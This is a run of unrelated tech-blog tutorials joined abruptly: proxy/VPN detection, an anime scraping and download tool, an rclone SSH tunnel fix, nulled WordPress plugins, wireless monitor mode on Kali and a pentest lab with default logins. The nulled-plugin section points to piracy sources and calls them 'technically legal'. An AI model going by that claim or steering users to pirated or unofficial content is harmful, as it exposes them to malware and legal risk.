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In today’s digital world, more internet users are turning to proxies and VPNs to maintain their online privacy and security.

While these tools can be beneficial, they can also be misused for malicious purposes or to bypass restrictions.

As a result, detecting proxies and VPNs has become increasingly important for website owners and administrators.

In this article, we will discuss some of the methods used to detect proxies and VPNs and explain how this process works. We will also discuss the types of proxy servers, differences between VPNs and proxies, and whether all proxies and VPNs can be detected.

Additionally, we’ll explore if these tools can be traced back to the user’s real IP address and how this can be done.

Finally, we will address frequently asked questions about VPNs, proxies, and their detection. This article is designed to be easy to understand for beginners, with headings to make it simple to skim through.

How a Simple Proxy or VPN Detection Service Works

In easy-to-understand terms, a proxy or VPN detection service analyzes various aspects of a user’s connection to determine if they are using a proxy or VPN.

Here’s a simple explanation of some of the detection methods:

1. Response Headers: When a user connects to a website, their browser sends a request that includes certain information in the form of headers. Some proxy servers or VPNs add, modify, or remove specific headers that can be a telltale sign that a proxy or VPN is in use.
2. IP Analysis: Proxy and VPN detection services maintain databases of known proxy and VPN IP addresses. By comparing a user’s IP address to this database, the service can determine if the IP address is associated with a proxy or VPN.
3. Specialized APIs: Some detection services, like ProxyCheck.io or IPQualityScore.com, offer APIs (Application Programming Interfaces) that can perform more in-depth analysis of IP addresses and other connection attributes. These APIs may use advanced techniques, such as TCP fingerprinting or WebRTC leak detection, to identify VPN and proxy usage.

In our example, we created a simple WordPress plugin that uses the ProxyCheck.io API to detect proxies and VPNs.

The plugin sends a user’s IP address and other connection details to the API, which analyzes the information and returns a result indicating whether a proxy or VPN has been detected.

The plugin then displays this information to the user, along with other relevant data such as IP address, country, and ISP.

What is a Proxy?

In simple terms, a proxy is an intermediary server that sits between your computer and the internet. It acts as a “middleman,” relaying your requests to websites and forwarding the responses back to you.

By doing this, the proxy hides your real IP address, making it appear as if the requests are coming from the proxy server instead of your computer.

A proxy server is typically a computer or a network device that has been set up to provide this intermediary service. It can be located anywhere in the world, and its primary function is to process and forward web traffic.

Proxy servers are created and maintained by individuals, companies, or organizations for various purposes, such as enhancing privacy, improving performance through caching, or enabling access to geo-restricted content.

Types of Proxy Servers

There are several types of proxy servers, each with its own characteristics and use cases:

1. HTTP Proxy: These proxies handle web traffic and are primarily used for web browsing. They can cache web pages and provide anonymity by masking the user’s IP address.
2. SOCKS Proxy: A more versatile type of proxy that can handle various types of traffic, including HTTP, FTP, and more. SOCKS proxies provide anonymity but do not cache web pages.
3. Transparent Proxy: These proxies do not provide anonymity, as they forward the user’s real IP address to the destination server. They are often used for caching and content filtering purposes.
4. Anonymous Proxy: As the name suggests, these proxies focus on providing anonymity by hiding the user’s IP address and not disclosing any information about the user to the destination server.
5. Elite Proxy: These proxies offer the highest level of anonymity by not only masking the user’s IP address but also hiding the fact that a proxy is being used.

What is a VPN?

A Virtual Private Network (VPN) is a service that creates a secure, encrypted connection between your computer and the internet. Like a proxy, a VPN also routes your web traffic through a remote server, hiding your real IP address and making it appear as if you are browsing from the location of the VPN server.

However, a VPN goes a step further by encrypting your data, which adds an extra layer of security and privacy. This encryption ensures that your online activities remain private, even if your connection is intercepted by hackers or monitored by third parties.

VPNs are provided by VPN service providers, which maintain a network of servers across various locations.

These providers develop and offer VPN software or apps that you can install on your computer or mobile device. When you connect to a VPN server, the software creates an encrypted “tunnel” through which your internet traffic passes, keeping your data secure and your online identity hidden.

What Are Some of Differences Between VPNs and Proxies?

Both VPNs and proxies are used to route your internet traffic through a remote server, thus hiding your real IP address. However, there are some key differences between the two:

1. Encryption: VPNs encrypt your data, providing a secure and private connection, while proxies do not usually offer encryption.
2. Traffic Types: VPNs route all your internet traffic through the VPN server, whereas proxies typically only route specific types of traffic (e.g., HTTP, SOCKS).
3. Performance: VPNs may have a greater impact on your internet speed, as they use encryption and handle all your traffic. Proxies generally have a smaller impact on performance, as they route only specific types of traffic.
4. Use Cases: VPNs are better suited for privacy, security, and unblocking geo-restricted content, while proxies are more commonly used for anonymity, caching, and content filtering.

How Can You Detect a Proxy or VPN

How Do IP Analysis APIs Detect VPNs and Proxies

IP Analysis APIs, such as ProxyCheck.io and IPQualityScore.com utilize a combination of techniques to identify VPNs and proxies. Here are the main methods employed:

1. IP Database: These services maintain a comprehensive database of known VPN and proxy server IP addresses. This database is regularly updated to ensure accuracy.
2. Reverse DNS Lookup: A reverse DNS lookup can reveal whether an IP address is associated with a hosting provider or a data center, which are commonly used by VPN and proxy services.
3. TCP Fingerprinting: Analyzing the TCP/IP packets sent by a user can help identify whether they are using a VPN or proxy service. This technique looks for specific patterns and anomalies in the packet structure.
4. WebRTC Leak Detection: WebRTC is a browser-based communication protocol that can inadvertently leak a user’s true IP address, even when using a VPN or proxy. IP detection services check for these leaks to help identify VPN and proxy users.
5. DNSBL Test: A test that checks if the IP address is listed on any DNS-based blackhole lists (DNSBLs). These lists contain IP addresses associated with known VPNs, proxies, and other suspicious activities.

What Is a VPN Leak, How Does that Affect You, and How Can It Be Fixed?

A VPN leak occurs when your real IP address or other identifying information is inadvertently exposed while using a VPN.

This can compromise your privacy and security. There are several types of VPN leaks, such as DNS leaks, WebRTC leaks, and IPv6 leaks.

A VPN leak can affect you by:

1. Revealing your true IP address and location, which can be used to track your online activities.
2. Exposing your browsing habits and personal information to hackers, advertisers, or other third parties.
3. Undermining your efforts to bypass geo-restrictions or access blocked content.

To fix a VPN leak, you can:

1. Use a reliable VPN service that offers built-in leak protection.
2. Disable WebRTC in your browser or use a browser extension that blocks WebRTC leaks.
3. Ensure that your VPN supports IPv6 or disable IPv6 on your device.

In conclusion, detecting VPNs and proxies can be a complex task, but services like ProxyCheck.io IPQualityScore.com make it easier by employing various methods to identify users who are masking their online identity. Understanding the differences between VPNs and proxies, as well as knowing the potential risks associated with VPN leaks, can help users make informed decisions about their online privacy and security.

Frequently Asked Questions

How to Start Analyzing IPs and User Connections

IP analysis is the process of examining an IP address to gather information about the user’s connection and determine if it might be originating from a proxy or VPN.

The following are some simple techniques that you can use to analyze an IP address yourself:

1. IP Geolocation: By determining the geographic location associated with an IP address, you can check if the user’s claimed location matches the IP’s actual location. There are several online services and databases, such as MaxMind GeoIP, IP2Location, and ipapi, that offer geolocation data for IP addresses. If the locations don’t match, it could indicate the use of a proxy or VPN.
2. IP Blacklists: Many organizations maintain lists of known proxy and VPN IP addresses. By checking if an IP address is present in these blacklists, you can determine if it’s associated with a proxy or VPN service. Some popular IP blacklists include the ones provided by IPQualityScore, ProxyCheck.io, and IPHub.
3. ASN Lookup: The Autonomous System Number (ASN) is a unique identifier for a network or internet service provider (ISP) that controls a group of IP addresses. By looking up the ASN associated with an IP address, you can identify the ISP or organization that owns the IP address. If the IP address belongs to a known VPN provider or data center, it could indicate the use of a proxy or VPN. You can use services like Hurricane Electric’s BGP Toolkit, Cymru’s IP to ASN Mapping, or Team Cymru’s IP to ASN Lookup to find the ASN for an IP address.
4. Reverse DNS Lookup: A reverse DNS lookup resolves an IP address back to its corresponding domain name. In some cases, the domain name can reveal if the IP address belongs to a known proxy or VPN provider. There are various online tools, such as MX Toolbox, DNSChecker, and CentralOps, that allow you to perform reverse DNS lookups.
5. IP Reputation: By checking the reputation of an IP address, you can determine if it has been involved in any malicious activities, such as spamming or hacking. A poor IP reputation could indicate that the IP address belongs to a proxy or VPN service that is frequently used for nefarious purposes. Services like Spamhaus, Sender Score, and Talos Intelligence provide IP reputation data.

Keep in mind that while these techniques can help you analyze an IP address and identify proxies or VPNs to some extent, they may not catch all instances, especially those that employ advanced evasion techniques.

For more accurate results, you may need to use specialized APIs or services that employ a combination of these techniques along with advanced analysis methods.

Example Simple Header Analysis to Detect a Proxy

In the context of detecting proxies or VPNs, a response header is a piece of information that the user’s browser sends to the web server when making a request. These headers can provide clues about whether a user is connecting through a proxy or VPN. Here’s an example of a few response headers that may be useful for detecting proxies or VPNs:

GET /example-page HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 123.45.67.89
Via: 1.1 proxy-server-name (Apache/2.4.41)

In this example, the X-Forwarded-For header contains an IP address (123.45.67.89) that indicates the original client’s IP. This header is often added by proxy servers to inform the destination server about the user’s actual IP address. However, not all proxy servers add this header, and some may even remove it to enhance anonymity.

The Via header provides information about the proxy server through which the request has been made. In this case, the header reveals that the request has been forwarded through a proxy server named proxy-server-name running Apache 2.4.41.

By analyzing these headers, a proxy or VPN detection service can gain insights into whether a user is connecting through a proxy or VPN.

However, as we mentioned before, not all proxies or VPNs can be detected solely based on headers, as some services may modify or remove certain headers to avoid detection.

This tool scrapes its content from GoGoAnime and can be used as an API. In this tutorial, we’ll walk you through the installation process, usage, and other features of anipy-cli.

Quick Demo

This is a quick demo on how it works. I’m running:

anipy-cli -Dq 720

In this example I’m using the options:

• -D : this downloads the anime. Otherwise you’d stream it.
• -q 720 : this is the quality I want it to download. The default one is 1080p.

1. Installation

To install anipy-cli, it is recommended to use the PyPI package:

python3 -m pip install anipy-cli --upgrade

You can also install directly from the GitHub repository, which may be more up-to-date:

python3 -m pip install git+https://github.com/sdaqo/anipy-cli

Anipy-cli requires mpv for video playback. Install it from the official website. If you prefer to use a different video player, you can specify its path in the configuration file.

Optionally, you can install ffmpeg to download m3u8 playlists using the -f flag. This is recommended if the internal downloader fails, although ffmpeg is comparatively slower.

2. Configuring anipy-cli

When you run the program for the first time, a configuration file will be automatically created. The configuration file can be found at the following locations:

• Linux: ~/.config/anipy-cli/config.yaml
• Windows: %USERPROFILE%/AppData/Local/anipy-cli/config.yaml
• MacOS: ~/.config/anipy-cli/config.yaml

You can customize the settings in this file to suit your preferences, such as video player path, download location, and MyAnimeList credentials.

Windows users who enable the reuse_mpv_window option will need to download and add the mpv-2.dll to their system path. This file can be obtained from SourceForge.

This is how the config.yaml file looks like:

anime_types:
- sub
- dub
auto_map_mal_to_gogo: false
auto_open_dl_defaultcli: false
auto_sync_mal_to_seasonals: false
dc_presence: false
download_folder_path: /path/where/you/want/to/download/anime
download_name_format: '{show_name}_{episode_number}.mp4'
download_remove_dub_from_folder_name: false
ffmpeg_hls: false
ffmpeg_log_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/ffmpeg_log
gogoanime_url: https://gogoanime.gg/
history_file_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/history.json
mal_local_user_list_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/mal_list.>
mal_password: ''
mal_status_categories:
- watching
mal_user: ''
mpv_commandline_options:

You can read the docs to find out more about the configs.

I recommend setting the download_folder_path to your preferred download location.

After you save the file the changes will be in effect.

3. Using anipy-cli

Anipy-cli offers several actions and modes to choose from, along with options to customize its behavior.

To see all available options, run:

anipy-cli --help

usage: anipy-cli [-D | -B | -H | -S | -M | --delete-history] [-q QUALITY] [-f] [-o] [-a]
                 [-p {mpv,vlc,syncplay,mpvnet}] [-l LOCATION] [--mal-password MAL_PASSWORD]
                 [-h] [-v] [--config-path]

Play Animes from gogoanime in local video-player or Download them.

Actions:
  Different Actions and Modes of anipy-cli (only pick one)

  -D, --download        Download mode. Download multiple episodes like so: first_number-
                        second_number (e.g. 1-3)
  -B, --binge           Binge mode. Binge multiple episodes like so: first_number-second_number
                        (e.g. 1-3)
  -H, --history         Show your history of watched anime
  -S, --seasonal        Seasonal Anime mode. Bulk download or binge watch newest episodes.
  -M, --my-anime-list   MyAnimeList mode. Similar to seasonal mode, but using MyAnimeList
                        (requires MAL account credentials to be set in config).
  --delete-history      Delete your History.

Options:
  Options to change the behaviour of anipy-cli

  -q QUALITY, --quality QUALITY
                        Change the quality of the video, accepts: best, worst or 360, 480, 720
                        etc. Default: best
  -f, --ffmpeg          Use ffmpeg to download m3u8 playlists, may be more stable but is way
                        slower than internal downloader
  -o, --no-seas-search  Turn off search in season. Disables prompting if GoGoAnime is to be
                        searched for anime in specific season.
  -a, --auto-update     Automatically update and download all Anime in seasonals list from
                        start EP to newest.
  -p {mpv,vlc,syncplay,mpvnet}, --optional-player {mpv,vlc,syncplay,mpvnet}
                        Override the player set in the config.
  -l LOCATION, --location LOCATION
                        Override all configured download locations
  --mal-password MAL_PASSWORD
                        Provide password for MAL login (overrides password set in config)

Info:
  Info about the current anipy-cli installation

  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  --config-path         Print path to the config file.

4. anipy-cli Features

Anipy-cli offers several features, including:

• Faster anime playback than in a browser.
• Local video player support.
• Quality selection for playback and downloads.
• History of watched episodes.
• Binge mode for continuous playback of a range of episodes.
• Seasonal mode for bulk downloading or binge-watching the latest episodes.
• Optional MyAnimeList mode for personalized anime lists.
• Optional Discord Presence for displaying the currently watched anime.

5. Library Usage in Python

Anipy-cli can be used as a library, and the documentation can be found here.

Note: To import the library, use import anipy_cli instead of import anipy-cli, as hyphens are not allowed in Python imports.

6. Other Versions

In addition to the CLI version, there are alternative versions of Anipy available:

• GUI Frontend (Work in Progress) by sdaqo
• Dmenu script by @Dabbing-Guy
• Ulauncher extension by @Dankni95 (not maintained)

These other versions offer different interfaces and integrations, catering to different user preferences.

Conclusion

Now that you’ve learned how to install, configure, and use Anipy-cli, you can enjoy watching and downloading your favorite anime directly from the Linux terminal. Happy anime watching!

The problem arises when you need to authorize the connection by visiting the generated URL like http://127.0.0.1:53682/auth?state=blahblah on your local browser.

This link won’t work on your local machine since it was generated on the remote server.

Furthermore, Rclone does offer an alternative URL for remote/headless server users, but this might result in an Access blocked: Rclone's request is invalid error. At least that’s what happens in my case.

In this tutorial, we will guide you through a workaround using an SSH tunnel to authorize Rclone for Google Drive connection from your remote server without any issues.

Pre-requisites:

1. A remote server (e.g., Digital Ocean, Vultr, Hetzner, etc.)
2. Rclone installed on the remote server
3. SSH access to the remote server

Step 1. Begin Rclone Configuration

Start by connecting to your remote server via SSH and begin the Rclone configuration process with the following command:

rclone config

Go through the motions as you normally would with your preferred settings until you get to the auto config question.

Step 2. Say Yes to “auto config”

When you get to this question say yes. This is because, if you’ve been having my issue, if you select N you’re given a link that leads to “Rclone’s request is invalid”.

Remote config
Use auto config?
 * Say Y if not sure
 * Say N if you are working on a remote or headless machine
y) Yes (default)
n) No
y/n> Y

If you said yes, you’re given a link like this.

http://127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD

Leave it like that and open a new terminal session or Putty on your local computer.

Create an SSH Tunnel

An SSH tunnel helps by securely forwarding your local computer’s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.

On your second terminal (I’m using cmder on Windows), run the following command:

ssh -L 53682:localhost:53682 -C -N -l <your_user> <your_remote_server_ip>

Replace:

• <your_user> with your actual remote server user
• <your_remote_server_ip> with your remote server’s IP

The session will just hang after you enter the password.

Don’t worry, that’s normal. The tunnel is established.

This is what it will look like.

Copy Rclone Authorization Link to Your Local Browser

Now you can copy the http://127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD link and place it in your local machine’s browser and it should work to authorize your Google account.

When you’ve authorized it, you’ll get a message Success! All done. Please go back to rclone.

In your command line where you’re configuring Rclone you’ll see the configuration moves forward and will see the message:

Got code
Configure this as a team drive?
y) Yes
n) No (default)
y/n>

You can close the browser window and the terminal and move on with the config. Rclone is now authorized.

Now you can continue with your Rclone config as you normally would.

Frequently Asked Questions

What’s an SSH Tunnel?

An SSH tunnel helps by securely forwarding your local computer’s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.

An SSH tunnel is a secure, encrypted connection between your local computer and a remote server, allowing you to forward local network traffic to the remote server. In this case, the SSH tunnel is created using the command ssh -L 53682:localhost:53682 -C -N -l root <remote_server_ip>.

Here’s a breakdown of the command:

• -L 53682:localhost:53682: This flag sets up local port forwarding, mapping the local port 53682 to the remote server’s localhost at port 53682. It allows you to access the remote server’s Rclone configuration URL from your local browser.
• -C: This flag enables data compression, which can help speed up the transfer of data over the tunnel.
• -N: This flag tells SSH not to execute any commands on the remote server, meaning it only establishes the connection for port forwarding.
• -l root: This flag specifies the remote server’s login username (in this case, ‘root’).
• <remote_server_ip>: Replace this placeholder with the actual IP address of your remote server.

By creating an SSH tunnel, you can securely access resources on the remote server as if they were available locally, enabling you to complete the Rclone configuration process in this tutorial.

Conclusion

This was a short tutorial on how to connect Rclone to Google Drive. Ideally it should have worked when you tell the Rclone config that you’re using a remote/headless server. This is just a clean workaround in my opinion. Let me know of you have any feedback or encounter any issues.

However, the topic of GPL-licensed themes and plugins, as well as nulled software, can sometimes lead to confusion and misunderstandings.

In this article, we will explore the GPL license, its implications for WordPress themes and plugins, what nulled plugins and themes are, where to find them, and the potential risks of using nulled software.

What Is the GPL License?

The GNU General Public License (GPL) is a widely-used free software license that grants users the freedom to use, modify, and redistribute the software.

A software license is like a set of rules or an agreement between the person who created the software (developer) and the person who wants to use it (user). It tells the user what they can and can’t do with the software, like using, sharing, or making changes to it. It’s a way for the developer to protect their work and control how it’s used.

WordPress is an open-source software released under the GPL, which means that all software built on top of WordPress, including themes and plugins, must also be GPL-compatible. The GPL establishes four fundamental freedoms:

1. Freedom to run the program for any purpose.
2. Freedom to study how the program works and to change it, so it performs computing as you wish.
3. Freedom to redistribute copies, so you can help your neighbor.
4. Freedom to distribute copies of your modified versions, giving the community a chance to benefit from your changes.

To summarize, if you build themes and plugins to work with WordPress, they must follow the GPL rules, which means they should be free and open-source.

GPL and WordPress Themes and Plugins

When developing WordPress themes and plugins for public distribution, whether free or paid, developers should adhere to the GPL license. This ensures that users have the freedom to run, modify, and distribute the software or any modifications they make.

However, if you have no plans to distribute your theme or plugin, you do not need to adopt the GPL license for your work.

What Are Nulled WordPress Themes and Plugins?

Nulled themes and plugins are versions of premium WordPress products that have been modified to remove licensing restrictions, allowing them to be distributed for free or at a very low cost.

Given the GPL license, which grants users the freedom to use, modify, and redistribute software, nulled themes and plugins are technically legal.

Are Nulled WordPress Themes and Plugins Legal?

As previously mentioned, nulled themes and plugins are technically legal since they fall under the GPL license, which grants users the freedom to use, modify, and redistribute the software.

This means that even premium WordPress products released under the GPL can be modified and redistributed without violating any licensing terms.

Where to Find Nulled WordPress Themes and Plugins

While this article has discussed the legality and risks associated with using nulled themes and plugins, it is essential to reiterate that we do not encourage or endorse the use of nulled plugins and themes.

However, for informational purposes, we will briefly discuss the types of websites that typically offer nulled themes and plugins.

It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.

Nulled Script Websites

There are numerous websites dedicated to providing nulled scripts, themes, and plugins. These sites claim to offer free downloads of premium WordPress products with licensing restrictions removed. It is important to exercise extreme caution when visiting these sites, as they may contain malware or other security threats.

File Sharing and Torrent Sites

Some file-sharing and torrent websites may have nulled themes and plugins available for download. Again, the risks of downloading software from these sources are significant, as the files may contain hidden malicious code or be part of a larger scheme to distribute malware.

Online Forums and Communities

Nulled themes and plugins can sometimes be found in online forums or communities where users share resources. While these sources might seem more trustworthy than dedicated nulled script websites, it is still crucial to be cautious, as the files shared within these communities can also contain security threats.

Unofficial Marketplaces

Some unofficial marketplaces or third-party sellers may offer nulled versions of premium WordPress products at a reduced price or for free.

While many unofficial marketplaces or third-party sellers can be unreliable and risky, some may offer a more trustworthy experience.

These marketplaces provide somewhat regular updates for the themes and plugins they distribute, although not as frequently as if you were to purchase the product directly from the original developer.

In exchange for a small fee, users can gain access to a large repository of themes and plugins.

Even in the case of reputable unofficial marketplaces, you most likely will not receive the same level of support as you would when purchasing directly from the developer. This can be a disadvantage, especially if you encounter technical issues or require assistance with customizations and configurations.

Reasons Not to Use Nulled WordPress Themes and Plugins

Security Risks

Nulled themes and plugins may contain hidden malicious code or malware, compromising your website’s security. Even if the original product is GPL-licensed, there is no guarantee that the nulled version is free of such threats.

Lack of Updates and Support

By using a nulled theme or plugin, you may not receive important updates and support from the original developer. This can lead to compatibility issues, security vulnerabilities, and other problems in the long run.

Ethical Concerns

While the GPL allows you to modify and redistribute themes and plugins, using nulled software can still be seen as unethical, especially if the original developers rely on income from their products to continue creating and supporting them.

Discourages Innovation

Using nulled themes and plugins can hinder innovation within the WordPress community. When developers don’t receive compensation for their work, they may be less motivated to create new products, improve existing ones, or offer support. This can ultimately result in fewer high-quality themes and plugins available for users, negatively impacting the overall WordPress ecosystem.

Why Nulled WordPress Themes and Plugins May Contain Malware or Security Threats

Using nulled themes and plugins can pose significant risks to your website’s security, primarily due to the potential presence of hidden malware or other threats.

But why would someone include such malicious code in nulled software, and how do they profit from it?

Here’s a high-level overview of the motives and methods behind these security threats.

Financial Gain

One of the primary reasons for embedding malware in nulled themes and plugins is to generate revenue. People can profit by injecting ads, redirecting users to affiliate websites, or even promoting their own products and services. They may also use compromised websites to mine cryptocurrency, stealing computing resources from the site’s visitors and servers.

Data Theft

By including malicious code in nulled software, attackers can gain unauthorized access to sensitive data, such as user credentials, customer information, and payment details. This stolen data can then be sold on the dark web or used for identity theft, credit card fraud, and other illegal activities.

Creating Botnets

Nulled themes and plugins can be used to compromise a large number of websites, turning them into a network of infected machines, also known as a botnet. These botnets can be used to launch Distributed Denial of Service (DDoS) attacks, send spam emails, or distribute additional malware, all without the knowledge of the website owners.

Reputation Damage

Attackers may use nulled software to deface websites, post inappropriate content, or redirect visitors to malicious sites. This can damage a website’s reputation, negatively impact its search engine rankings, and even lead to the suspension of hosting or domain services.

Ransomware Attacks

In some cases, attackers may use nulled themes and plugins to infect websites with ransomware. This type of malware encrypts a site’s data, rendering it inaccessible until a ransom is paid to the attacker, usually in the form of cryptocurrency.

Conclusion

Understanding the GPL license and its implications for WordPress themes and plugins is crucial for developers and users alike. While the GPL grants users significant freedom, it is important to exercise caution when using nulled software. The potential security risks, lack of support, and ethical concerns can outweigh any perceived benefits of using nulled software.

Some sources may be confusing, and lead you to believe that you can only enable monitor mode on TP-LINK TL-WN722N v1 because it has one of the required chipsets for monitor mode, Atheros AR9271, and that you can’t enable it on V2/V3. You can, however.

To start off, if you’re using a virtual machine, first you’ll have to connect your wireless adapter to your Kali Linux virtual machine.

Set up the Adapter

Next, we’ll run some commands to set up the adapter.

First update and upgrade your package index.

sudo apt update && sudo apt upgrade

Reboot your machine.

sudo reboot

Install Linux headers for your Kali Linux.

sudo apt install linux-headers-$(uname -r)

Run the following commands to install the bc package and remote the r8188eu.ko module.

sudo apt install bc

sudo rmmod r8188eu.ko

Clone the Realtek driver from the aircrack-ng Github repository.

git clone https://github.com/aircrack-ng/rtl8188eus

Run the following commands.

cd rtl8188eus

sudo -i

echo "blacklist r8188eu" > "/etc/modprobe.d/realtek.conf"

exit

reboot

After the reboot run the following commands (we have to cd back into the rtl8188eus directory that we cloned earlier):

cd rtl8188eus

make

sudo make install

sudo modprobe 8188eu

Enable Monitor Mode

To enable monitor mode, run the following commands:

sudo ifconfig wlan0 down

sudo airmon-ng check kill

sudo iwconfig wlan0 mode monitor

sudo ifconfig wlan0 up

sudo iwconfig

Here’s the output you should be seeing. You can see that the adapter is set to Mode: Monitor.

Troubleshooting When Enabling Monitor Mode

In some cases it doesn’t work right away. For example you may get the error Error for wireless request "Set Mode" (8B06) : SET failed on device wlan0 ; Operation not permitted.

The solution that has worked for me every time is the following (credit to this Github user’s comment).

Run the following commands in this order:

sudo ifconfig wlan0 up
sudo rmmod r8188eu.ko
sudo modprobe 8188eu
sudo iwconfig wlan0 mode auto
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up

Now when you check iwconfig you should see the adapter is in monitor mode.

Conclusion

In this tutorial we set up a TP-LINK TL-WN722N V2/V3 adapter to run in monitor mode. If you have any issues or questions then please don’t hesitate to leave a comment. Hope this helped. Thank you.

This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.

Why Setup A Virtual Penetration Testing Lab

The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.

However, other than convenience, there are more reasons as to why you need a virtual lab.

1. Your safety

One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.

To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.

2. It’s isolated from the real-world environment

This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.

For example, if you are trying to get into malware analysis, you will deal with real viruses (the WannaCry ransomware). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.

This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.

3. It’s a reliable testing platform

Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.

You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.

Understanding Virtualization Technology

When setting up a penetration testing lab, you will have two options to choose from:

1. Use locally-hosted virtualization technology (Recommended)
2. Set up a home lab with additional computer devices and components available.

The latter (home lab) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have Computer A running your hacking distribution (say Kali Linux) and Computer B or C running your vulnerable machines (say DVWA or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.

Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.

VirtualBox is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.

VMware, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.

Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.

Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.

Step 1. Download and Install VirtualBox on your PC

To get started, you will need to install VirtualBox on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the VirtualBox guest Addition, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:

• Mouse pointer integration
• Shared folders
• Improved video support
• Generic host/guest communication channels
• Seamless window management
• Shared clipboard
• Time synchronization
• Automated logins

After a successful install, proceed to launch the virtual box from the application menu.

Step 2. Install Kali Linux on VirtualBox

Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.

In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.

To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.

• Bare Metal setup – used to install Kali Linux on your PC in a single boot or multi-boot setup.
• Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.
• ARM setup: Used for ARM devices such as the Raspberry Pi.
• Cloud setup
• Container setup (Docker)
• Live Boot setup
• WSL (Windows Subsystem for Linux)

In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official Kali Linux download page. It is a `.ova` file.

After the download is complete, launch VirtualBox from your applications menu and follow the steps below:

1. Click on the File menu and select Import Appliance. Alternatively, you can use the keyboard shortcut (Ctrl + I).
2. A new window will open. Click on the file icon, select the `Kali Linux.ova` file you downloaded, and click Next.
3. In the next window, you will see all the information about the virtual machine. Select the import option at the bottom to import the virtual machine.

After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.

You can tweak the settings of the virtual machine depending on your system resources. When done, click Start to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.

The default credentials are:

• Username: Kali
• Password: Kali

Step 3. Install Windows 10 on VirtualBox

Microsoft’s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine – specifically Windows 10. You can download Windows 10 ISO file from Microsoft Official website.

Launch VirtualBox and follow the steps below to install Windows 10

1. Click New on the VirtualBox window
2. A small window will open. Enter the name of your new operating system (for example, Windows 10). Click Next.
3. Enter the memory size you wish to assign your new virtual machine and click Next.
4. In the next window, select Create a virtual hard disk now and click Next.
5. Select `VDI` (VirtualBox Disk Image)
6. Select whether you want to use the Dynamically allocated or Fixed Size hard disk on the next screen. Click Next.
7. Set the storage size of your Windows 10 virtual machine. Click Create.

That will create a Windows 10 virtual machine, as shown in the image below.

To install Windows 10 as a virtual machine, click the Start button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.

Click Start when done. After a few seconds, you will get to the Windows 10 installation screen.

Continue with the installation process like you were installing Windows natively on your PC.

When done, you can proceed to install Metasploitable.

Step 4. Install Metasploitable

Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.

Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.

Head over to SourceForge and download the Metasploitable VM.

After a successful download, launch VirtualBox and follow the steps below:

1. Click New on the VirtualBox window
2. Set a name for your virtualization machine (for example, `Metasploitable-2`). Click Next.
3. Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click Next.
4. On the next window, select “Use an existing virtual hard disk file.”
5. Click the file icon and select the Metasploitable VMDK file.
6. Click Create

You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:

Click Start to launch Metasploitable.

This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:

• Username: msfadmin
• Password: msfadmin

Final Thoughts

